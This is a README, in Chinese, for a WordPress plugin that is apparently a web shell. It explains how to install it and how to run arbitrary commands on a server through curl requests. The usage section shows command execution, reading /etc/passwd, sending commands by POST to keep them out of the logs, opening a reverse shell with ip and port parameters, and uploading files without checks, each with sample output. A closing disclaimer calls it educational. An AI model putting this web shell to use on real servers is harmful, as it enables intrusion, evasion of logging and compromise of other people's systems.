在您的 wordpress 服务器上执行 shell 命令。上传的 shell 可能会在

/wp-content/plugins/shell/shell.php

安装

要安装 shell,我们假设您拥有 Wordpress 的管理权限并且可以安装插件,因为将 PHP 文件传输到媒体库无论如何都不应该工作。否则,你有一个更大的问题。

只需将位于 Releases 部分的 zip 文件作为新扩展上传,您就可以开始使用了。

用法

使用 shell 很简单。只需将 sh命令作为参数传递给 shell:


curl ' http://host/.../shell.php?cmd=uname+-a ' 
Linux wordpress-server 2.6.32-21-generic-pae # 32-Ubuntu SMP Fri Apr 16 09:39:35 UTC 2010 i686 GNU/Linux

您也可以在 POST 请求中传递这些参数,这是将命令排除在日志之外的推荐方法。


curl ' http://host/.../shell.php ' --data-urlencode ' cmd=ls ' 
LICENSE 
README.md 
shell.php

还支持更复杂的命令,但请注意您的引用。


curl ' http://host/.../shell.php ' --data-urlencode ' cmd=cat /etc/passwd | grep -v "\(false\|nologin\)" ' 
root:x:0:0:root:/root:/bin/bash 
sync:x:4:65534:sync:/bin:/bin/sync
curl ' http://host/.../shell.php ' --data-urlencode ' cmd=python -c "from urllib.parse import urlencode; print(urlencode({\"cmd\": \"uname -a\"}))" ' 
cmd=uname+-a

您还可以使用ipport参数打开反向 shell。默认端口是443.


curl ' http://host/.../shell.php ' --data-urlencode ' ip=127.0.0.1 '
curl ' http://host/.../shell.php ' --data-urlencode ' ip=127.0.0.1 ' --data-urlencode ' port=1337 '

为了方便,还提供了一个选项,可以无条件地将文件上传到插件的目录,而无需检查。


curl 'http://host/.../shell.php' -F 'file=@some_file'
curl 'http://host/.../shell.php' --data-urlencode 'cmd=ls'
LICENSE
README.md
shell.php
some_file

对公共或私人服务器进行未经授权的攻击是非法的。此存储库的内容仅用于教育目的,如果不正确使用所提供的材料,作者将不承担任何责任。

项目地址:

https://github.com/scheatkode/presshell